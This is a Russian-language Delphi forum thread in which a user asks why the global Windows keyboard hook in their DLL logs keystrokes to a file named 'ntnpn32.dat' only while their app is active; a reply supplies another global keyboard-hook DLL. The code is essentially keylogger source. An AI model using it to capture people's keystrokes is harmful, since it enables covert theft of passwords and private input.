Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Проблемы с SetWindowHookEx [D6, Win2k, WinXP]


Страницы:   1 2

KASioZ ©   (2005-01-02 11:09:00) 

Здравствуйте ув. программисты
У меня следующая проблема:
Я устанавливаю глобальную ловушку в системе.
В глобальной ловушке я ловлю все сообщения сис-мы, проверяю сообщение, если сообщение WM_KeyDown, то сохраняем в локальный файл нажатые клавиши.
Почему то моя программа сохраняет данные только в случае если моё приложение активно! Хотя хук глобальный и клавиши передаются в обработчик событий!
Это я проверяю ShowMessage, работает всегда.
Вот код DLL:

library myhookdll;

uses
 SysUtils,
 Windows,
 Dialogs,
 Messages;

var
 HookHandle: HHOOK = 0;
 F: File;

{$R *.res}

function KeyHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
var
buff: array [1..100] of char;
begin
if TMsg(Pointer(lParam)^).message = WM_KeyDown then
       begin
       GetKeyNameText(TMsg(Pointer(lParam)^).lParam, @buff, SizeOf(buff));
       BlockWrite(F,buff,1);
       ShowMessage(StrPas(@buff));
       end;
result:=CallNextHookEx(HookHandle,code,wParam,lparam);
end;

procedure SetKeyHook; export; stdcall;
begin
AssignFile(f,'ntnpn32.dat');
if FileExists('ntnpn32.dat') then Reset(F,1)
else Rewrite(F,1);
if HookHandle = 0 then HookHandle:=SetWindowsHookEx(WH_GETMESSAGE,@KeyHook,hInstance, 0);
end;

procedure UnSetKeyHook; export; stdcall;
begin
CloseFile(F);
if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
HookHandle:=0;
end;

exports

SetKeyHook name 'SetKeyHook',
UnSetKeyHook name 'UnSetKeyHook';

begin
end.

Вот код загрузчика:

procedure TForm1.FormCreate(Sender: TObject);
begin
SetKeyHook;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnSetKeyHook;
end;


Piter   (2005-01-02 13:25:00) [21]

перед тем как разбираться с хуками, весьма желательно изучить более простые вещи - например, что такое ВАП и все с ним связанное.

Что касается хуков - есть статья на это сайте по хукам.


Vaitek   (2005-01-02 12:31:00) [22]

Не знаю, у меня такой работал.

library Key;

uses
 WinTypes,
 WinProcs,
 Messages,
 SysUtils,
 Classes;

const
KeyEvent = WM_USER + 1;

var
HookHandle: hHook;
wnd: hWnd;

{$R *.res}

function KeyHook(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
begin
 if Code >= 0 then
 begin
   wnd := FindWindow('TSVMain', nil);
   SendMessage(wnd, KeyEvent, wParam, lParam);
   Result := 0;
 end else
   Result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure SetKeyHook;
begin
 HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0);
end;

procedure DelKeyHook;
begin
 if HookHandle <> 0 then
   UnhookWindowsHookEx(HookHandle);
end;

exports
 SetKeyHook index 1,
 DelKeyHook index 3;

Begin
end.

А в главном окне программы обрабатывал

procedure WM_NextMSG(var Msg: TMessage); message KeyEvent;


Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо